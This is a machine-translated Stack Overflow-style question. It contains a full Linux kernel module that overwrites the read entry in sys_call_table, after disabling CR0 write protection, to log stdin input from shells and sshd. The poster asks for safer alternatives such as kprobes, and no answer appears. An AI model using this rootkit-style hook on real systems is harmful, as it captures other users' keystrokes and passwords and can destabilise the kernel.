c - 最佳实践 lkm 劫持输入,有合法的方法吗?
问题描述
这是通过覆盖内核的 syscall 劫持用户输入的工作示例read
。
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <linux/delay.h>
#include <linux/cred.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/types.h>
#include <linux/kfifo.h>
#include <linux/kobject.h>
#include <linux/sysfs.h>
#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#include <asm/atomic.h>
#include <asm/ptrace.h>
#define PID_MAX 4194305
#define MODULE_NAME "hacked_read"
#define dbg( format, arg... ) do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... ) pr_err( MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.4" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );
static bool debug = false;
static DEFINE_SPINLOCK( mLock );
static unsigned long ( *original_read ) ( const struct pt_regs *regs );
void **sct;
static unsigned long flags; // irq flags
static atomic_t LOCK_NUMBER_ATOM = ATOMIC_INIT(0);
static unsigned long long LOCK_NUMBER_ATOM_VAL;
static bool pids[ PID_MAX ];
static bool FORCE_EXIT = false; // force exit via method.
// ---------- force-exit handler -----
static struct kobject *force_exit_kobject;
static ssize_t foo_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) {
if ( strstr( buf, "exit" ) ) {
FORCE_EXIT = true;
info( "Force exit method. ");
}
return count;
}
static struct kobj_attribute foo_attribute = __ATTR( foo, S_IRUGO | S_IWUSR, NULL, foo_store );
// -------------- asm inserts -------------
static inline void rw_enable( void ) {
asm volatile ( "pushq %rax \n"
"movq %cr0, %rax \n"
"andq $0xfffffffffffeffff, %rax \n"
"movq %rax, %cr0 \n"
"popq %rax " );
}
static inline uint64_t getcr0(void) {
register uint64_t ret = 0;
asm volatile (
"movq %%cr0, %0\n"
:"=r"(ret)
);
return ret;
}
static inline void rw_disable( register uint64_t val ) {
asm volatile(
"movq %0, %%cr0\n"
:
:"r"(val)
);
}
static void* find_sym( const char *sym ) {
static unsigned long faddr = 0; // static !!!
// ----------- nested functions are a GCC extension ---------
int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
if( 0 == strcmp( (char*)data, sym ) ) {
faddr = addr;
return 1;
} else return 0;
};// --------------------------------------------------------
kallsyms_on_each_symbol( symb_fn, (void*)sym );
return (void*)faddr;
}
static unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned long r;
unsigned long cp_user_flag;
unsigned long fd;
unsigned long strnlen_user_val;
unsigned long count;
static char tmp_buffer[ 1 ];
atomic_inc( &LOCK_NUMBER_ATOM );
pids[ task_pid_nr( current ) ] = true;
r = original_read( regs );
// injection:
if ( r > 0 ) {
fd = regs->di;
if ( fd == 0 ) { // fd == 0 --> stdin (sh, sshd)
strnlen_user_val = strnlen_user( (char*) regs->si, 1 );
count = regs->dx;
dbg( "strnlen_user_val: %lu\n", strnlen_user_val );
if ( strnlen_user_val > 0 && count > 0 ) {
if ( strnlen_user_val > 1 ) strnlen_user_val = 1;
cp_user_flag = copy_from_user( tmp_buffer, (char*) regs->si, strnlen_user_val );
if ( cp_user_flag == 0 ) {
info( "tmp_buffer: %s\n", tmp_buffer );
}
}
}
}
atomic_dec( &LOCK_NUMBER_ATOM );
pids[ task_pid_nr( current ) ] = false;
return r;
}
int hacked_read_init( void ) {
register uint64_t cr0;
int cpu;
int error = 0;
sct = find_sym( "sys_call_table" );
original_read = (void *)sct[ __NR_read ];
for_each_present_cpu( cpu ) {
spin_lock_irqsave( &mLock, flags );
cr0 = getcr0( );
rw_enable( );
sct[ __NR_read ] = hacked_read_test;
rw_disable( cr0 );
spin_unlock_irqrestore( &mLock, flags );
}
force_exit_kobject = kobject_create_and_add( "hacked_read_force_exit", kernel_kobj );
if( ! force_exit_kobject ) return -ENOMEM;
error = sysfs_create_file( force_exit_kobject, &foo_attribute.attr );
if ( error ) info( "failed to create the foo file in /sys/kernel/hacked_read_force_exit \n" );
info( "Module was loaded\n" );
return 0;
}
void hacked_read_exit( void ) {
register uint64_t cr0;
int cpu;
unsigned int i;
for_each_present_cpu( cpu ) {
spin_lock_irqsave( &mLock, flags );
cr0 = getcr0( );
rw_enable( );
sct[__NR_read] = original_read;
rw_disable( cr0 );
spin_unlock_irqrestore( &mLock, flags );
}
LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
while ( LOCK_NUMBER_ATOM_VAL != 0 ) {
info( "Locked. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL );
for( i = 0; i < PID_MAX; i++ ) if ( pids[ i ] ) info( "Locked. pid = %d\n", i );
msleep( 5000 );
LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
if ( FORCE_EXIT ) {
info( "Force exit. Unload module..." );
break;
}
}
kobject_put( force_exit_kobject );
info( "Open. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL);
info( "Module was unloaded\n" );
}
module_init( hacked_read_init );
module_exit( hacked_read_exit );
生成文件:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
TARGET = hacked_read
obj-m := $(TARGET).o
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
@rm -f *.o .*.cmd .*.flags *.mod.c *.order
@rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
@rm -fR .tmp*
@rm -rf .tmp_versions
我已经阅读了很多关于主题的stackoverflow,并找到了这样有趣的意见:
为什么你必须实现一个系统调用?99% 的情况下,实现你想要做的任何事情都是错误的方式。
它来自这里。
现在,我正在寻找在没有系统调用的情况下进行相同劫持的方法,是吗?可能是一种内核调试机制,类似的东西kprobes
可能会给我同样的结果,比当前对系统调用的原始覆盖更安全。有人可以给我工作样品吗?
换句话说,我正在寻找合法的方法,而不是黑客。
解决方案
推荐阅读
- html - 如何选择偶数行并排除最后一列
- node.js - 如何在使用express的nodejs响应后退出?
- python - 过滤从 html 网站中提取的 Web 链接
- wso2 - 基于主机头限制 WSO2 中的 API
- asp.net-core - 如何修复 .NET CORE 3.0.100-preview7-012821 中的 myget.org 授权问题?
- java - Orika 映射器,当其中一个属性是一个枚举时,这两个类具有不同的支持值
- mysql - 为什么来自 python 的 MySQL 调用会报告 SQL 错误?
- android - 在 sharedPref.getString 中有一个默认值有什么意义?
- python - 如何遍历返回二维数组的第三个数组维度
- c# - 如何将 SAML 身份验证添加到 MVC 应用程序